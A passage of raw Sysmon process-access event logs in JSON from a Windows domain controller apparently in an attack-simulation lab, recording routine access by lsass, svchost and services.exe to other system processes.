C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.392","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001029250200}","TargetProcessId":"3124","TargetImage":"C:\\Windows\\system32\\wbem\\unsecapp.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1161,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.393\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.393","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1162,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.393\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.393","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1163,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.414\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nTargetProcessId: 2760\r\nTargetImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.414","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010460F0200}","TargetProcessId":"2760","TargetImage":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1164,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.414\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nTargetProcessId: 2760\r\nTargetImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.414","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010460F0200}","TargetProcessId":"2760","TargetImage":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1165,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.446\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2684\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nTargetProcessId: 2760\r\nTargetImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.446","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2684","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010460F0200}","TargetProcessId":"2760","TargetImage":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1166,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.446\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.446","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1167,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.446\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.446","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1168,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.458\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00104F490200}\r\nProcessId: 3344\r\nImage: 